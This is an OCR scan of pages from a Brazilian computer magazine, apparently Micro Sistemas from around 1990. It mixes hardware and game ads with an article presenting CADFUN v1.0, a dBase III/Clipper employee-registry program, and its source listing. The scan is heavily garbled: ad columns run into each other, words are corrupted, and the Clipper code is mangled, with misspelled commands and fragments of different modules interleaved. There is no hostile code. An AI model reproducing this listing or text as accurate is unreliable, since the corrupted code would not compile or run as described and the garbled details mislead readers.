R T CAPAS, PORTA DISQUETES (VARIOS TIPOS), REVISTA PARA MSX
CONFIGURACAO: ‘ E AMIGA...
© Drive 5 1/4 G/ 360!@8 o T
: %ggaegg g-’a‘gnte ik o;qr:sional_(DOS) Despachamos nossos produtos para todo Brasil via Sedex ou transportadora com seguro.
: 511?1%:;6 ligagéo P/ 2 drives  © gagtgiﬂéicgiiosos Distribuidor autorizado MX soft

« DRIVE 5 1/4 DDX 720KB: Gratis disquete ¢/ 20 Jogos MANUTENCAO

e DRIVE 31/2 DDX 720KB: Gratis disquete ¢/20 jogos

* DRIVEB (51/4.0u31/2): Cobrimos qualquer oferta! TODA A LINHA MSX E AMIGA: MICRO, DRIVE, IMPRESSORAS...

SOFTWARE & HARDWARE gt =7 oD AMO A PARA RGB
» [ais de 500 titulos disponiveis de software
otﬂumoslam;amentosmgameuﬁméﬂos

* Sempre novidades

* Gravagdes garantidas
e i * Remetemos para todo o Brasil em 24 horas
A tnica softhouse e pecaja o nosso catilogo por carta. £ grétis!
especializada na linha :
Commodore-Amiga

E MAIS: DIGITALIZADOR DE SONS (SAMPLER),

em todo o Rio de Janeiro IN-TERFACE MIDI, DRIVE 3 1/2, TV MODULADOR... & SFX de seus fantésticos
- - - gravados em fita cassete C-60 com o selode
EXPANSAC 512KB CI CLOCK E MANUAL EM PROMOGAQ ESPECIAL. CONSULTE-NOS - garantia Avalion. Totaimente STEREO!

AVALLON INFORMATICA LTDA.
AV. ALMIRANTE BARROSO, 22 SALA 602 CENTRO - RIO DE JANEIRO - CEP20031 TEL -
AO LADO DO METRO CARIOCA ?

DAS 9:00 AS 19:00 Hs.

Para fazer o seu pedido basta ligar (021)2621636. informar-se sobre o valor dos produtos desejados e como efetuar o deposito em nossa conla bancaria.




PROGRAMA

Mantenha sua empresa atualizada

PC

CADFUN:

Cadastro de funcionarios

0 Vicente José Moredo

O CADFUN v1.0 tem o objetivo de
controlar o cadastro de funcionarios
de uma pequena empresa, ajudando
0 usuario a projetar salarios, verificar
reajustes e gerar relatorios dos funcio-
narios a partir disto.

O programa é auto-explicativo, mas
possui um HELP implementado pela
tecla [F1] que generaliza as teclas de
edicdo e escolha. As mensagens sob
a tela também tornam o programa bas-
tante compreensivel.

A estrututa do banco de dados uti-
lizado pelo programa esté junto com
a listagem do cadigo-fonte. Tal estru-
tura pode ser criada com o dBase Il
ou com FoxBase+.

No menu principal existem 8 topi-
cos para executar as tarefas do pro-
grama. Vou explicé-las dirigindo-me ao
usuério final para que este ndo tenha
diivida nenhuma a respeito do CAD-
FUN v1.0.

1-CADASTRO DE FUNCIONARIOS
- Esta opcéo serve para inserir funcio-
narios no cadastro. Ela pede as taxas
de reajuste e automaticamente calcula
as projecdes de salarios. Caso vocé te-
nha escolhido esta opcdo, por engano,
para anula-la basta teclar [°] no campo
codigo e a tela do menu principal vol-
tarad a aparecer.

2-ALTERA REGISTRO DO CADAS-
TRO - Nesta opcdo o programa dispde
os dados de modo que estes fiqguem
totalmente & disposicdo do usuario
como se fosse uma planilha eletrénica.
Para alterar os dados deve-se teclar
[ENTER] em cima da célula desejada.

58 MICRO SISTEMAS

Esta mudara a cor e entdo poderdo ser

feitas as alteracGes desejadas, notando

que:
a) Quando modificamos os cam-
pos salério anterior, salério atual,
taxa de reajuste e taxa de pro-
jecdo dos dados sdo recalcula-
dos instantaneamente
b) O campo salério-projecdo ndo
pode ser alterado.
c) A indexacd@o do programa é
feita pelo nome do funcionario.
Quando este é.alterado, a inde-
xac8o nao é refeita na hora, mas
acontece. Note gue o computa-
dor refaz a indexacdo mas vocé
ndo a vé. Para vé-la basta sair da
opcéo e entrar de novo para com-
provar.

Micro: IBM PC/ XT
Memoria: 512 Kbytes
Video: CGA
Linguagem: dBase Il

Requisitos: Impressora

3-BAIXA REGISTRO - Esta funcao é
destinada a dar baixa em itens do ca-
dastro. Ela possibilita ao usuario esco-
Iher se a selecdo do registro a apagar
serd por nome ou por cadigo do fun-
cionério. Uma vez encontrado o regis-
tro, o programa pergunta se vocé quer
ou ndo gue este seja apagado. Note
que se sairmos direto desta opcéo e
verificarmos o cadastro, o registro
ainda estara la. para apaga-lo de vez,
€& necessario entrar na opcédo AR-
RUMA ARQUIVO do submenu; con-
firmamos a operacéo e, entdo, o fun-
cionario estara totalmente retirado do
cadastro.

4-CONSULTA REGISTRO - Simples
consulta do registros de cadastro. Esta
opcdo é destinada a mera consulta do
cadastro de funciondrios. Os dados séo
expostos da mesma maneira que a

ALTERA TEGISTROS DO CADASTRO
TAIYA FEGISTRO
COHSILTA DR RIGISTROS
CALCLR0S

RELATORICS
UTILITARICS

FIH DE FROCESSAMENTO

Menu
principal

THSERE HOU0S FUNCIGMARIOS HO CADASTRO




opcdo ALTERA, dando total liberdade
ao usuario para verificar o arquivo todo.

5-CALCULOS - Esta opgdo se torna
muito mais Gtil quando o usuério re-
solve fixar todos os resjustes iguais,
ou seja, todos os funcionérios tém seus
salarios corrigidos igualmente. E pos-
sivel escolher entre fixar as taxas de
reajuste e as taxas de projecdo. Além
disso, ha a op¢do de refazer todos os
calculos do cadastro para rejeitar, de
vez, as hipoteses de erro.

6-RELATORIOS - Escolhendo esta
opcdo pode-se pular para um outro
submenu onde estardo as opcdes de
relatério por ano de admisséo, relaté-
rio geral e relatério por salarios, cada
qual com suas respectivas funcdes.
a) Relatorio geral - Este relatorio
relaciona todos os registros exis-
tentes no cadastro.
b) Relatério por ano de admissdo
- Nesta opc@o o computador per-
gunta o ano de admissdo dese-
jado para o relatoério e da apenas
a listagem dos funcionarios ad-
mitidos no ano.
c) Relatorio por salarios - esta
opcao pede a faixa de salario de-
sejada para o relatorio. O com-
putador pede o salario minimo
e o saldrio maximo e exibe o re-
latério, relacionando apenas os
funcionarios que ganham dentro
da faixa de remuneracdo dese-
jada.
Obs: todos os relatorios pos-
suem um cabecalho exibindo o
nome do funcionario, a data de
admissdo e o seu respectivo sa-
lario. No final aparecem o niimero
de funcionérios relacionados, a
soma dos salarios e a média des-
ses saldrios.

7-UTILITARIOS DO SISTEMA - Este
&, sem duivida, o moédulo mais sofisti-
cado do programa. Nele vocé podera
ver diretorios de outros discos, aces-
sar um comando do DOS diretamente
do programa, apagar arquivos, reno-
mear arquivos, fazer Backup de segu-
ranca, além de um relatério do sistema
onde estardo expostos dados como:
tamanho do arquivo de dados, tama-
nho dos arquivos de indexacdo, nu-
mero de registros e bytes livres no drive
corrente.

8-FIM DE PROCESSAMENTO - Aqui
acredito que ndo seja preciso dar ne-
nhuma explicacdo. Fim de programa.

O programa como vocés véem ¢é fa-

FUNCAQ: RELATORIG:DO SISTEMA

Menu

DISCO D9 SISTEM C:
NEMORIA LIVRE
ARGUIVGS DE DADOS EM LSO FUNC,DBF

ARAUIVOS DE INDENAZAQ CODIN.NTX
PESSOAL. NTX

0 ARIUIVO FRINCIPAL TEY
TOTAL DE BYTES IM ARGUIVOS:

17504236 hytes

191 Xhutes livres

7 ragisims
3184 hutes

relatérios

livres

1889 hytes

2049 hytog
2049 hytes

APERTE UM TECLA PARA CONTIMUAR

———

e ——
# & % RELATDRIO GEEAL DO CADASTED DE FUHCIONARIOS + % * =S =
CADASTRO DE FUNCIOR 0S BURH BITS
73 ADILSON M. OLIVEIRA 03/12/87 6012 60
00250 AGRALDO A SANTOS 20s01/89 9398, 40
00003 CARLOS JOSE MOEEDO 17/08B/87 5019, 3¢
40321 EDUARDO MOREDQD SER 1 05/05/89 10883. 80
00736 HENRIQUE MATOS AUDYL PATIO 0B/11/82 8423 80
00878 LUIZ FABIO DOURADO FAXIN 0 03/03/85 #5683 50
00001 VICERTE JOSE MOREDO FAXINEIRO 23/10/89 8563. 50
7 funcionarios com 56844 T0 de salarioc total
SALARINS: 8120. 67
Figura 1

cil de entender e espero que se torne
atil para muita gente. Quando compi-
lado, sua extensdo chega perto de 190
Kbytes. Para rodar o sistema correta-
mente, crie a estrutura do arquivo em
um programa compativel com o dBase
Il e quando dentro do CADFUN crie
a indexacdo através do menu de utili-
tarios na opcao criar indexacdo. Note
que a indexacdo do dBase Ill é dife-
rente daquela do Clipper.

A compilacdo do programa so sera
bem sucedida se a versdo do Clipper
for a Summer’'87 e se o modulo

EXTEND.LIB for incluido na LinK-
-Edicdo.

O CADFUN v1.0 pode ser ttil para
o usuario que faz seu cadastro de fun-
cionarios em ficharios ou pastas. Mas
quero frisar bem que o CADFUN v1.0
ndo é um programa de folha de paga-
mento, tendo em vista gue um pro-
grama para desempenhar essa tarefa
e bem mais complicado que este. b

VICENTE JOSE MOREDO é estudante‘ e
autodidata em informatica. Programa em
Pascal, Basic, dBase Ill e Clipper.

g E : 3
e Estrutura do arquivo FUNC.DBF
Structurs for database: C: FUNC. dbf
Number of data records: 7
Date of last update 05/24/90
Field Field Name Type Width Dec
1 LGOI Character 5
2 NOME Character 25
3 ADMISSAD Character 8
4 FUNCAO Character .20
5 SALANT Numeric 9 2
6 SALAT Numeric 9 2
7 SALAP Numeric 9 2
8 TAXA1 Numeric B 2
9 TAXA2 Numeric B 2
#% Total #% 98

MICRO SISTEMAS 59




® Programa: CADFUN

—=7> HELP.'FEG

*
+ CADAGTRO DE FUNMCIONARIOS

* HODULO HELP AQ USUARIO (11}
*

SAVE BCREEN TO HELPS ENDCASE
SET COLOE TO W/E ERDDO

@ 8.8 CLEAR TO 21.7L

& 8.8 PO 21 .T1 JO‘JBLZ —-=» CADAS PRG

~@ 9,10 SAY "TECLAS PARA CONTROLE DE EDICAC E ESCOLHA®

@ 11,10 SAY “[Enter]->D= entrada nos dados ou efetua sscolhas nos menus’ *

] SAY “[Setas]-»Movimenta barras do menu ou cursor” « CADASTRO DE FUNCIONARIOS

e SAY "[Home) -:Vai para & inicio do menu o campe * MODOLO CADASTRA FUWCIONARIO

2 SAY “[End] -»>Vai para o fim do menu on campo *

=} SAY "[<---1 ->fpaga ultimo caractere pressionade ”

e SAY '[Ins] -»Liga ou desliga o modo de insercac’ USE B RC '\IDEX PESSOAL.CODIX

e SAY “[Del] -»Apags o caracter sob o cursor’ - 5 cl (a8

@ SAY . [*¥] -»Apaga tode o conteude de um campo’ 5. Ci B/W

a1 #5] —»RBetorna aec menu anterior guands na entrada de dados” SAY FACEt 3} + TIRSERE FURCIONARIO HO ARQUIVO“+SPACEC22)

9.10 SAY [
SET COLOR TO B/W
@ 20,23 SAY "PEESSIONE ALGUMA TECLA PARA SAIR-
SET CUESCE OFF
INKEY( 01
SET COLOE TO
BESTOBE SCEEEN FROM HELFS
EETUEN

---> CADFUN. PHG

D

*
* CADFUN - CADASTHQ DE FUNCIOKARIOS +
* VICENTE JOSE MOREDO - BURN EBITS
* DEIEMERO DE 13989
* HODULO MENU PREINCIPAL
%
@ 4,10 SAY ‘CODIGU D) FONCIONARTO: -
@ £.10 SAY "HOME:

SBT TALK orE 2 5,10 SAY “DATL ADMISSAG:

SET STATUS oFf &1 ¢ FONCAC: - ’

SET BELL OFF e “SALARTO ANTERTOR:

SET SAFETY OFF @ '.:REJARIO ATOAL:

SET TYPE To 50 e "SALARIO PROJECAQ: °

SET SCORE DFF e “TROTRCAD. -

FURLTE ryenIs H 23'5 SAY SPACECETI

DRIVESIS= C: * B aS iR e

SETereg 2 25,15 SAY ‘PARA CANCELAR EASTA TECLAR [#] KO CAMPO CODIGO
Dazs £ 4,33 GET NCODI PICTURE 'Xb9g3°

USE FUNC INDEX PESSOAL,CODIX

HCODI="#"

DO WHILE . T.
CLEAR
@ 0.0 TO 24,78 DOUNLE

SET COLOR TO BSW

S80 PICTURE “02/59/95°
43 SAY CADFUN - CADASTRO DE FUNCIONARIOS versac 1.0 - BURN o

'993.,995.88°
‘55 =

SET COLOR TO
& 2.3 TD 22.76 DOUELE
SET MESSAGE TO 23 CEKTER
@ 5,24 PROMPT "CADASTRO DE FUNCIONARIOS ™ MESSAGE "INSERE HOVOS FUNCIONARIOS
HO CADASTBO
.24 PROHPT ELTERA REGISTHOS DO CADASTRO® MESSAGE "ALTERA REGISTROS DO
CADAS TEC QUE FORAM INSERIDOS ERRADO”
@ 9,24 PROMET A REGISTRO ™ HE:
@ 11.24 PROMPT “CONSOLTA DE REGI
DO ARQUIVO®
@ 13.24 PHOMPT "CALCOLOS ™ MESSAGE “RECALCULA SALARIOS DE ACORDO COM
PORCENTAGEM SELECIONADA®
8 15.24 PROM "RELATORIOS "~ MESSAGE “IMPRIME RELATORIGS A PARTIR DA ESCOLHA
FEITA FELO USOA 3
@ 17.24 PROMPT “OTILITARIOS ® MESSAGE ~OTIL
EIGTEHA
9.24 FROMPT °FIY DE PROCESSAMENTO® MESSAGE "FIM D0 DPROGRAMA (50 ESCOLHA SE
TIVER CERTEZA? &
HEROD To 0P

SALAT+( NSALAT*
SAY NSALAT PICTURE 9.88°
SAY NSALAP PICTURE 995,954, 85°

GE "APAGA REGISTROS DO CADASTRO® S
S~ MESSAGE ‘SIMPLES CONSULTA DE REGISTEOS KTagap gHEST ©-OR. NSALANT-0'.OR NSALAT=0 .OR. NCODIZ® °.OR NTAXAL=0 .OR
-‘-Q 23

A4 DE DADDS ERRATA, FAVOR VERIFTCAR CAMFOS | =-

BI0S DE DISCU E ARODIVOS DO

DO CASE

CASE 0P=:
IO CADAS

CASZ Op=2
DO EDITA

CASE OP=4
Do ConsT

CASE OP=5
DO cALC
SET CURSOR OFF

CASE 0OP=8
DO BEL

CASE OP=T
DO CUTIL

CASE OF=3
CLEAR
SET- COLOR TO B/W =
@ 11,32 TC i4.44 DOUBLE

ESKTOP PUBLISHING:

A opinido de quem estd usando; quais sdo os
melhores programas do mercado; quanto custa
aqui e la fora; os periféricos necessérios.

E“-




CONCESSIONARIO DE VENDA DE ESPACO
PARA ESTA PAGINA L&F DESIGN

INFORMACOES (021)235-4986

™

SO “amrca

NOVIDADES

AFTER BURNER (1 DISCO)
GUN SHIP (1 DISCO)

BEAST I/ll (2 DISCOS)

THE KRISTAL (4 DISCOS)

P47 THUNDERBOLT (1 DISCO)
AQUA NAUT (3 DISCOS)

DUCK TALLES (2 DISCOS)
GRAND PRIX CARS (2 DISCOS)
PREDATOR (2 DISCOS)
BUDOKAN (2 DISCOS)

PAC MAN - IA (2 DISCOS)
ARKANOID Il (1 DISCO)
PERSIAN GOLF INS. (2 DISCOS)

CAIXA POSTAL 1852
CEP 20001 - RIO DE JANEIRO-RJ.

sO GAMES

APPLE CLUBE
O Clube dos usudrios de APPLE. O

SOFTCLUBES

A SOLUgﬁO EM SOFTWARE  maior acervo de programas com mais
de 3000 titulos & sua disposigao. Aléem
disso, temos 0 APPLE NEWS, um jornal

PC CLUBE mensal com as novidades do Clube e

gue serve como meio de comunicagao
entre os soécios para troca de

0 Clube dos usuérios do IBM-PC. Com
mais de 2000 discos com as Ultimas

novidades do mercado internacional.  informacaes.

Mensalmente temos o PCNEWS, um ca- :

nal de comunicagao entre os socios,  Caixa Postal 12190 CEP 02098
Sao Paulo-SP

com todas as informagdes sobre o

mundo dos 16 BITS. Tel.: (011)299-1165

PRODUTOS &
SERVICOS

« LIGHT-PEN: Possibilita desenhos em alta resolucio diretamente patelada
TV. Acompanha: Manual e o software grafico LIGHT-ART. Cr$ 6.000,00 + 700,00
(SEDEX).

* SUPERSTICK: Ultra resistente. Construido com a mesma tecnologia usada
nas maquinas de Fliperama. Contém exclusivo circuito de tiro automatico. Nao
precisa de interface. Versdes para MSX, AMIGA E MASTER SYSTEM. Cr$
7.000,00 + 1.500,00 (SEDEX).

*SUPER JOGOS PARA PC: Robocop, power Drift, Airbone-Range, Budokan,
3 Patetas, Indianajones I, Motocross, Lombard, Rally, Prince of Pérsia, Ope-
ration Wolf, Chess Master 2000 (xadrez 3D), Die Hard (Duro de Matar), Out Run,
After Buurner, Grand Prix, Ninja Saboteur Il, Karateka (= o do Apple), Vette
Hostage, Crazy Car I, Space Race, Double Dragon Il

Acompanha: Pequeno manual com instrugdes de carregamento e codigos de
acesso.

Voceé pode usar os jogos da SALZANI sem medo de virus. Todos os jogos sdo
rigorosamente testados antes de serem enviados. Cr$ 2.000,00 para as des-
pezas postais e disco ja incluso no prego.

NAO COMPRE SEM VER!!! Demonstramos nossos jogos e produtos antes de
voce levar.

Localizagdo: A SALZANI fica pertinho do metrd Carrdo. Se vocé vier de carro,
e facilimo estacionar em frente. Nao tem Zona Azul nem placa de Estaciona-
mento Proibido.

Atendimento: Atendemos de 22 a Domingo. Marque hora pelo telefone
(011)296-2015)

Para adquirir: Venha pessoalmente ou mande cheque nominal &:

ANSELMO SALZANI

Praga Heitor Levy, 30 - Tatuapé
03316 - Sao Paulo-SP

REVENDAS AUTORIZADAS (LIGHT-PEN E SUPERSTICK):
SP: ECTRON 290-7266  PLACE TECH 575-3087 » PAULISOFT 37-1814
* CHAMPION 65-2030 » MISC 36-3226 » TOY GAMES 277-4878 * NA-
DAL INFORMATICA 297-2114  TALL COMUNICAGAQ 276-7465  REDI
UNUVERSOFT 825-5240

RJ: HOT GENTER 577-5746

APLICATIVOS
E UTILITARIOS
ORIGINAIS,
u COM GARAN-
TIA TOTAL
CONTRA

DEFEITOS DE
GRAVACAO,

SOLICITE
CATALOGO

TIGERD

TIGER GAMES REPRESENTACOES
CAIXA POSTAL 1793

CEP 20001 - RIO DE JANEIRO-RJ

TEL.: (021)235-4986

ATENDIMENTO INSTANTANEO (2hs.)
ASSISTENCIA TECNICA

Especializado na 4rea com 5 anos de
experiéncia em manutengdo de:

MICROS e REDES LOCAIS « MONITORES
E PERIFERICOS

Contratos de Manutencfic a partir de 50 BTNs
Laboratério préprio

ligue j& e comprovel

TEL.: 299.1166

sO GAMES CLUB

O MELHOR EM JOGOS E UTILITARIOS
PARA O SEU IBM-PC, AMIGA E MSX

JOGOS PARA IBM-PC e, enviando
edido s . s
C/4DISCOS = 20 BTNs | [c/2 DISCOS = 14 BTN's C/1DISCO = 8 BIN's eFaga sou ' para Sérgio L. G 8an08
TURTLE MUTANT NINJA | | MOTOCROSS CALIFORNIA GAMES cheque mais 9 BIN's para desp
"ROBOCOP RAMBO |1l NINJA - PACMAN sAcrescente Me° & CEDEX <
GHOSTBUSTER AFTERBURNER SUPER STAR SOCCER postais - Entreg2 ¥R 2o o ritéricos, Supri
A0 TANK KILLER THE LAST NINJA ITALY 90 *Consulte nossa linha ¢
SKY or DIE (novo) KING'S OF THE BEACH OUTRUN mentos € livros em g do informando alinha
D&D THE CURSE A. BEND | | DOUBLE DRAGON ¢ Il KARATEKA Peca cataiogo detainado
AGUARDE BREVE LANCAMENTOS: KING'S QUEST V e SPACE QUEST IV desejada

CAIXA POSTAL 1852 - CEP 20001 - RJ

2 — LEVE 5 E GANHE + 1
PROMOCOES [EvE 10 E GANHE + 3

DISTRIBUIDOR AUTORIZADO MSX SOFT iNFORMATICA




CAMPOS LB 1= "TAXAL "
CAMPOS (8 ]= "TAXAZ"

I TITOLO[1 = "CODIGO
TITOLOL2 7=

PROJECAD”
1= "85958"
9a/89/398°
999,999, 88 °
9.099.99°

HASCARLGI: "398, 99%°

T COLCR TO EB/W
JARIOf “+SPACE( 11}
COLOR TO

1
hijsd

FONCTION BEFLA
PATAVMETERS MODE,OFC

DU CASE

SET COLOR TO
INKEY( 5}

.
SAY SPACE! 65!

CASE MODE=3
@ 23,5 SAY SPACE! 65}

CASE LASTKEY: ! =27
RETURH, (O}

CASE LASTHEY() =13
IF OFC=

LI=ROW ¥
CA=FIELDMAME! OFC)
SET CURSUE OK

SET COLOR TO W.G/R

“NOME DO FUNCIONARIO™

AY SPACEr 13!+ MODULQ EDITA REGISTROS DO CADASTRO DE

4 SaY TECLE [ESC] PARA RETORNAR AQ MENT PRENCIPAL® : a5 OFF
AY -"TARA EDITAR TECLE [ENTER] . [P] PARA PROCURAR CODIGO®
4.4.20,75,CAMPOS " REPLA" . MASCAR. TITULO

CASE HUDE-O
HETUERN (1}
CASE MODE=L _--. BiIXA PRG
@ 23,5 SAY SPACE( G5
SET COLOR TO Wk .
@ 23,25 SAY VOCE ESTA Ko INICIO DO ARQUIVOS + CADASTRD DE TUNCIONARIOS

19 SAY 'TECLE [ESC] PARA KETORMAE AC-MENU PRINCIFAL®
14 SAY "PARA EDITAE TECLE LERTEE: . [E] PAEA PROCURAE CODIGO® USE FONC
1 5 CURSOE OW
OLOE TO B/W

OR TO Wr

SAY ‘VOCE ESTA HO FIM DO ARGUIVO® S 2 R 76 DOUBLE
EEIEOLORLL SAY SPACECTE)
THEEYL 5t ot
58513 SAY "TECLE (ESC] PARA RETORNAR A0 WENU ERTNCIPAL-
8 55711 Sir ‘PARA EDITAR TECLE [ENTER1 ., [P PARA PROCDEAR CODIGOT
RETURN (1) s

WE T ‘B
-0 ARQUIVO CORBENTE ESTA VAZIO® SELECIONADD POR HOME DO FUNCIONAEICS

@ LI.CO GET &CA
I

REX;

SET COLOR TO
SET CORSOR OFF
KEYEQARD CHE! 4}

I7 CA:"SALANT®
SEPLACE SALAT WITH SALANT+( SALANT4TARALE Q1
TLACE SALAP WITH CALAT+( SALAT#TANAZ. CL)

EHT
1F Ch- "3ALAT®

REPLACE SALAP WITH SALATH DALAT wTETATe 01Y
EHDIF

TAKAL "
E SALAT WITH SA
ACE GALAF WITH &

TAXAZ "
LACE SALAP WITH SALATH SALATHTAXAZS. 01}

SAY SPACECET)
]
“QUAL 0 CODIGO FARA PROCURA: © GET BROC

PARA EDITAR TECLE [EWTER] . [P] PABA PROCTIRAR CODIGOS

+ BODULO BAIXA BEGISTRO

x

52T

@ 1.3 SAY SPACE(23)+ BATXA FUNCICHARIO DO ARQUIVOS +SPACE( 230
SET COLOE TO

@ 2,3 CLEAR TO 21.75

SET HESSAGE TO 23 CENTER - ol ppigel. -
@ g,25 PROMPT “BAIXAR FOR CODIGO DO FONCIONARIO- MESSAGE "ATATIA GE
SELECIONADO POR CODIGD DO FUNCIOHARIC® ; o
@ 11,25 PRUMET ~EATZAR P0f HOWE DO FOHMCICHARIOS MESSAGE TAPATA ELG

15,25 PROMPT ~ARRUMAZ AROGIVO" MESSAGE "ARRUMA ARAUIVO DE DADOS ATAGANDO
REGISTROS PENDENTES M e
@& 15.25 PROMPT "FIM DE FONCAD” MESSAGE “RETORHA AC MERU TEINCIFAL DO
PROGRAHA®
MEND TO OF
DO CASE

CASE OP=1
SET INDEX TO CODIX.PESE0AL

@ 4.4 CLEAR TO 21,75

@ 11,14 TO 13,83 DOUBLE

@ 23,5 SAY SPACE(ET g #

@ 23,21 SAY ‘TECLE [#] PABA VOLTAR A0 MENU PRINCIPAL L .

@ 12.18 SAY "QUAL O CODIGO DO FURCIONARIO PARR BAI¥AR: ~ GET BCO PICTURE
~¥a999 "

EEAD

Atendemos todo o
Brasil via SEDEX
Solicite Catalogo
Gratis através

da Cx. Postal 13069
CEP 20260 -Rio-RJ

DIGITAL BOYS CLUBE

Exclusivo e de Classe Internacional

Digital Boys Clube coloca vocé por dentro do MSX, trazendo
vantagens e beneficios exclusivos “For Members Only”.
E so ficar socio.

E para seu MSX: ==
e JOGOS, APLICATIVOS, UTILITARIOS Vis
DRIVES DDX, MEGA RAM, KIT 2.0 AV.
IMPRESSORAS, MONITOR, MODEM
EXPANSOR DE SLOTS, 80 COLUNAS
JOYSTICKS, CABOS, MESAS

DISQUETES, FORMULARIOS, FITAS

Representante autorizado dos produtos:
NEMESIS, DISCOVERY.

e & & O




ERDLE

LE (4]
“QUAL 0 HOM;

. OR. NOBA: *

8 23, 52 ..uF.Y SP
SET COLODE TO W
@ 23.29 SAY "ESTE NOME Nao E
SET COLOR TO

0
CLEAR TO 21.75

® 23.5 SAY SPACE(6T)
@ 231,28 SAY "TEM CEHTEZA 7

IT CERT= 75"
SEEK HOBA
DELETE
ENDIF
@ 4.4 CLEAR TO 21.75
ENDIF
CASE 0F=3
CER’
@ 4.4 CLEAR TQ 21.75
@ 23.5 S5AY SPACE(BT)
@

SAY "TEM CEHTEZA 7 (5/M): " GET CERT READ
-

T 14.53 DOUBLE

CASE 0OP=4
EXIT

ENDCASE
ENDDO
USE FUNC INDEX PESBOAL,CODIX
SET CURSOK OFF
RETORR
-~» CONSU. PRG

*
* CADASTRO DE FUNCIONARIOS
= MODULO CONSULTA REGISTROS
x

@ 4.4 CLEAR TO 21.75
GO TO!

0 TOP
DECLARE CAHPOS[S].TITOLO[S], MASCAR[S]
HADA=""

CAMPOSI1 1= "CODL*
"HOME *
“ADMISSAD
% Al

CAMPOS[9]= "TAXAZ "

TITOLC[L J= "CODIGO "
TITULOC2 NOHE D0 FUNCIONARIO®
TITULOLC3 DATA ADMISSAO"
TITOLO[4 ]= "FORCAD "
TITULOLS )= "SALARTIO ANT, -
TITULOLE 1= "SALARIO ATDAL®
TITULGLT SALARTO PROJ. *
TITOLO(B TAXA BEAJ, °
TITULOLS 1= "TAXA FROJ. ~
MASCARLL )= 99999 -
MASCAR([3 09,/90,94
HMAGCARLS '9.:999. 99
MASCAR[G]- "980,295 883
MASCAR[T J= "985 ,999, 99°
HASCARLES )= "999. 99% "

HMASCARLS = "399, 99%°
SET COLOR TO B/sW
@ 1,3 GAY SPA
FUNCIONARIOS ~+

“MODULO CORSULTA BEGISTROS Do CADAST
b

CADCULOS DE SALARIOS

AZ TODOS 05 CATCOLOS DO CADASTRO-
D& TODAS A5 TaXAS DE REAJUSTE DOS

AC MENT PRINCIPAL -

CAUCOLOS DOS SALARIOS Do

CONTINDAR 7 C(S/W): ° GET CERT

SPACE( BE}

e}
“AGUARDE OM INSTANTE .
TO

F‘A":‘V‘D C ”CDLU“ PARA SALARIOS CORRENTES .

OE TO W+ b
@ 23.5 5AY "CAUCULOS REFEITUS - APERTE ALGUMA TECLA PARA VOLTAR AQ MENT
PRINCI FAL

SET COLOR TO
SET CURSOR OFF
INKEY! 07

SET CUESOE ON

B
BETURK
EHDIE

CASE ESCOLHA=2
@ 3.4 CLEAR TO 21.74
@ 23 5 SAY SPACEI BT

P=1

SET MESSAGE TO 23 CENTER

2 10,26 PROMPT "MUDAR TAXA DE REAJUSTE® HESSAGE "HUDA TODAS AS TAXAS DE
BEAJUSTES DO CADASTRO PARA TUMA 50°

8 12,26 PROHPT °HGDAR TAXA DE PROJECAC ™ HMESSAGE "HODA TODAS AS TAXAS DE
PROJECAO DE Ss AR_YEIS ‘-’APA L‘ﬂ SU

£ TRETOHNA N0 © MECZACGE “RETORNA AG MEHO ANTERIOR DE

ESCOLH.A .

HMENU TO OF

IF OP=1

TABEDE=0

@ 23,5 SAY SPACE(6T)

@ 23 17 SAY QDAL A TA¥A DE REAJUSTE DESEJADA : ° GET TAREDE PICTURE

“984. 99%°

READ

@ 12 25 CLEAR T0 14.50

% 12.25 TO 14.50 DOUBLE

SET COLOE TO We

B 13,26 SAY "EPETUANDO HUDANCAS .

SET COLOE TO

REPLACE ALL TAK WITH TAREDE

EE! CE ALL SALAT WITH SALANT+ SALANT*TAXA1+ 01}

REPLACE ALL SALAP WITH 'SALAT+( SALAT=TAXA2¥ (1)
ENDIF

AY CELET)
-17 BAY "QUAL A TAXA DE PROJECAD DESEJADA : - GET TAPRODE PICTURE

@12, CLEAR TO 14.50
@12, T 14.50 DOUBLE
SET COLOR TO W#
AY "EFETUANDD HUDANCAS .

LOR TQ
E‘.EFL&CZ ALL TAXA? WITH TAPRODE
IITE“L-A"':' ALL SALAP WITH SALAT+ SALAT*TAXAZ+ 01)
ENDIF

IF 0OF=3
RETH

EHDIF

ENDCASE
BETURN

-==» BEL. PRG

*.

* CATASTRO DE FUNCIONAHIUS
* HODOLO EELATORIOS
*

DCIH'[J'LE

GEEAL " MESSAGE "EMITE RELATORIG GERAL DE TODOS G5
TOR ADMISSAD® MESSAGE EMITE RELATORIO POR DATA D

i POE SALARIC® MESGSAGE "EMITE RELATORIO POR SALARIO
T E\ﬂ"\mqgj_g a4

MICRO SISTEMAS 63




DO CASE
CASE OF=
8 23

X
§

SAY SPACELET)
o

R
SAY "TEN CE T CERT VALID ( CERTS 'SHan®)

FUNCIORABIOS + = %

ADMISSAD  SALARIO"

ECLA PARA CONTINUAR .

CASE OP=2
@ 23.5 B5AY SPACELGT)
SET. CURSOQR OH
@ 23.28 SAY °TEM CERTEZA 7
READ
o

O GERAL DO CADASTRD DE FUNCIONARIOS * % #°
(8] I BITG "
S/W).* GET CERT VALID ( CERTS “SNsn®) DRI OEg BN AT,

R(CERT:
T ,
FUNCAD ADHMISSAC

@ 23,5 SA4Y SPACECET
® 33,25 SAY "QUAL O ANC
s

+ANO

5 SAY SPACE(6T)
15 SAY "QOER RELATCRIO MA

gk

“4STR RTOT +° funcionarios com “+5TR( TSALAT! +° de salaric total.
>0 . 0B RTOT<>0Q

14 DE SALARTOS: “+S5TE( TSALAT/RTOT)

1A DE SALARIOS: O°

IRT OFF -1 GHARIOS

DE SALARIOS

OWARTOS POR ESPECTFICACAC DE SALARICS = =

=% % * HELATORIO DOS

ACE! 20' + "CADASTEQ DE FUNCIONMARIOS BURN BITS®

.78

HOME DO FURC. FORCAD 4 B -

AY SPACEL 67 i SALARIO ATOAL

v S4Y "QUER EELATORIO M T

VALID CSAI% TIti™h 0
EEAD

2

EOFL
. OR. ‘SALAT»SHA

CASE OP=4 PACE! 51 4% % ¥ BELATORIO DOS EUNCICKARIOS ESPECIFI
22T SEACED RIa =+ RELATORIO DOS EUNCIONARIOS POR ESPECIFICACAO DE SALARIO

CURSOR OFF SR
=L :

* GIACEL 201 + CADAETRO DE FOWCIONARTOS BURN BITS™

"DATA ATUAL:

FONCAD SALARIO

DESKTOP PUBLISHING:

Tudo sobre desktop publishing vocé encontrara
em MICRO SISTEMAS edicao 102.

Em marco, aguarde!




MICRO SISTEMAS
PROCURA
NOVOS TALENTOS

A sua revista preferida estd com
idéias novas. Uma delas € contar
